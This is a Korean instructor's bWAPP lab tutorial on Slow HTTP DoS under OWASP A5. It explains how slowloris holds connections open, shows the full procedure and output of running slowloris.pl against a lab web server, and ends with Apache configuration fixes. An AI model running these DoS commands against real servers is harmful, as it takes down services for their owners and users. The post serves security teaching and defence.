정보보안(구버전)/ bWAPP 2019. 2. 16. 13:12

웹 해킹 bWAPP - 68. A5 - Security Misconfiguration - Denial-of-Service(Slow HTTP DoS)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Security Misconfiguration

 

 - OWASP Top10 A5 - 잘못된 보안 구성
 - 서버/시스템/DB/네트워크 장비/웹 설정 요류로 인하여 발생하는 취약점이다.
 - Ex) 디렉토리 리스팅, 에러페이지, 웹페이지 주석, 웹서버 기본 설정, Adobe Flash 취약점, DoS/DDos 공격,

         특정 서비스에 대한 Reverse_TCP 공격, 로컬 권한 취약점, 백업/임시/robots 파일


 

 

2. Dos/DDos 공격

 

 - 대량 패켓들을 전송하여 시스템/서버/네트워크 리소스를 고갈시켜 부하 발생, 요청 방해 및 연결 거부를 발생하는 공격이다.

 - 단, 정보 유출에 대한 취약점은 없지만, 서비스가 마비되기 때문에 사용자 및 기업 입장에서 시간/비용 손실을 발생시킨다.

 - DDos는 악성 코드에 감염된 시스템(좀비 PC)들을 이용하여 DoS 공격을 실시하는 방법이다.

 - Ex) 최근 국내 Dos/DDos 공격 사례 : 디시인사이드

 - 기사 : https://www.dailysecu.com/?mod=news&act=articleView&idxno=44010

           http://news.mtn.co.kr/newscenter/news_viewer.mtn?gidx=2019011117453837457

 

 

 

3. Slow HTTP Dos

 

 - 메세지 헤더의 마지막을 알리는 'empty line'을 포함시키지 않고 HTTP 요청을 조금씩/천천히 전송하여 웹-서버 대기

   현상을 발생시키는 공격이다. (CRLF : Carriage Return and Line Feed)

 

 - HTTP 헤더에 케리지리턴(/n/r)을 보내지 않음으로써 서버에게 더 보낼 데이터가 있는거 처럼 만들어서 연결 상태를

   유지하는 공격이다. 이렇게 되면 서버에서 TCP 세션 개수가 계속 늘어나기 때문에 다른 연결을 실시 할 수 없게된다. 

 

 - 즉, 웹서버가 수신한 HTTP 헤더의 CRLF(0d 0a)가 두번 들어간 정보를 보고 Body 부분을 인식하는데, 이것을 한번만

   인식하게 되면 'Body' 내용이 아직 도착을 안한것으로 인식하여 대기하게 된다.

 

 

정상적인 HTTP 요청

 

 

 

 

4. Security Misconfiguration - Denial-of-Service(Slow HTTP DoS)

 

 - 이 시나리오는 'slowloris' 툴을 이용하여 Slow HTTP DoS 공격을 진행할 예정이다.

 

 

Ex1) Security Misconfiguration - Denial-of-Service(Slow HTTP DoS) 이해

 

 

보안 레벨 선택 및 시나리오 선택

 

 

bWAPP을 타겟으로하여 공격 실시


 

 

slowloris 다운로드(https://github.com/llaera/slowloris.pl)

root@kali:~# git clone https://github.com/llaera/slowloris.pl.git
'slowloris.pl'에 복제합니다...
remote: Enumerating objects: 15, done.
remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 15
오브젝트 묶음 푸는 중: 100% (15/15), 완료.

root@kali:~# ls
Desktop    Downloads  Pictures  Ransomware  Videos
Documents  Music      Public    Templates   slowloris.pl

 

root@kali:~# cd slowloris.pl/

root@kali:~/slowloris.pl# ls -l
합계 16
-rw-r--r-- 1 root root   351  2월 17 17:09 README
-rw-r--r-- 1 root root 10605  2월 17 17:09 slowloris.pl
 
root@kali:~/slowloris.pl# chmod a+x slowloris.pl

root@kali:~/slowloris.pl# ls -l
합계 16
-rw-r--r-- 1 root root   351  2월 17 17:09 README
-rwxr-xr-x 1 root root 10605  2월 17 17:09 slowloris.pl

 

root@kali:~/slowloris.pl# ./slowloris.pl
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris
Usage:

 

          perl ./slowloris.pl -dns [www.example.com] -options

 

          Type 'perldoc ./slowloris.pl' for help with options.

 

root@kali:~/slowloris.pl#


 

bWAPP 도메인 설정 실시

 

root@kali:~/slowloris.pl# vi /etc/hosts

 

127.0.0.1       localhost
127.0.1.1       kali
192.168.20.205  www.bwapphttpslow.com

 

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
~

 

:wq!


 

 

와이어샤크 실행 및 eth1 캡처 실시

root@kali:~/slowloris.pl# wireshark &
[2] 2870
 

 

 

 

Slow HTTP Dos 공격 실시

root@kali:~/slowloris.pl# ./slowloris.pl -dns www.bwapphttpslow.com
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris
Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to www.bwapphttpslow.com:80 every 100 seconds with 1000 sockets:
  Building sockets.
  Building sockets.
  Sending data.
Current stats: Slowloris has now sent 250 packets successfully.
This thread now sleeping for 100 seconds...

  Building sockets.
  Sending data.
Current stats: Slowloris has now sent 528 packets successfully.
This thread now sleeping for 100 seconds...

  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Building sockets.
  Sending data.
Current stats: Slowloris has now sent 766 packets successfully.
This thread now sleeping for 100 seconds...

  Sending data.
Current stats: Slowloris has now sent 1011 packets successfully.
This thread now sleeping for 100 seconds...

  Sending data.
Current stats: Slowloris has now sent 1364 packets successfully.
This thread now sleeping for 100 seconds...

 

(Ctrl+C)
 

 

 

 

와이어샤크 캡처 내용 확인

 

 

 

bWAPP TCP 연결 상태 확인

bee@bee-box:~$ netstat -nt
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 192.168.20.205:80       192.168.20.50:51728     SYN_RECV  
tcp        0      0 192.168.20.205:80       192.168.20.50:51730     SYN_RECV  
tcp      238      0 192.168.20.205:80       192.168.20.50:51572     ESTABLISHED
tcp      246      0 192.168.20.205:80       192.168.20.50:51494     ESTABLISHED
tcp        0      0 192.168.20.205:80       192.168.20.50:51460     ESTABLISHED
tcp      238      0 192.168.20.205:80       192.168.20.50:51556     ESTABLISHED
tcp      238      0 192.168.20.205:80       192.168.20.50:51668     ESTABLISHED
tcp      238      0 192.168.20.205:80       192.168.20.50:51660     ESTABLISHED
tcp      246      0 192.168.20.205:80       192.168.20.50:51498     ESTABLISHED
tcp        0      0 192.168.20.205:80       192.168.20.50:51466     ESTABLISHED
tcp      238      0 192.168.20.205:80       192.168.20.50:51674     ESTABLISHED
tcp      238      0 192.168.20.205:80       192.168.20.50:51656     ESTABLISHED
tcp      238      0 192.168.20.205:80       192.168.20.50:51600     ESTABLISHED

 

~ 중간 생략 ~

 

 

 

Ex2) Security Misconfiguration - Denial-of-Service(Slow HTTP DoS) 해결 방안

 

 - 'ThreadsPerChild', 'KeepAliveTimeout 15' 값 변경 

 

bee@bee-box:~$ cd /etc/apache2
bee@bee-box:/etc/apache2$ gedit apache2.conf

~ 중간 생략 ~

 

# worker MPM
# StartServers: initial number of server processes to start
# MaxClients: maximum number of simultaneous client connections
# MinSpareThreads: minimum number of worker threads which are kept spare
# MaxSpareThreads: maximum number of worker threads which are kept spare
# ThreadsPerChild: constant number of worker threads in each server process
# MaxRequestsPerChild: maximum number of requests a server process serves
<IfModule mpm_worker_module>
    StartServers          2
    MaxClients          150
    MinSpareThreads      25
    MaxSpareThreads      75 
    ThreadsPerChild      25
    MaxRequestsPerChild   0
</IfModule>

 

 

~ 중간 생략 ~

 

# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 15

 

:q!

 

 

 - 방화벽에서 Slowloris 공격 탐지 기능 사용

 

 - 상위 버전 업그레이드/패치 실시

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 68. A5 - bWAPP Security Misconfiguration - Denial-of-Service(Slow HTTP DoS)   https://youtu.be/RjoD4We6q8k

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q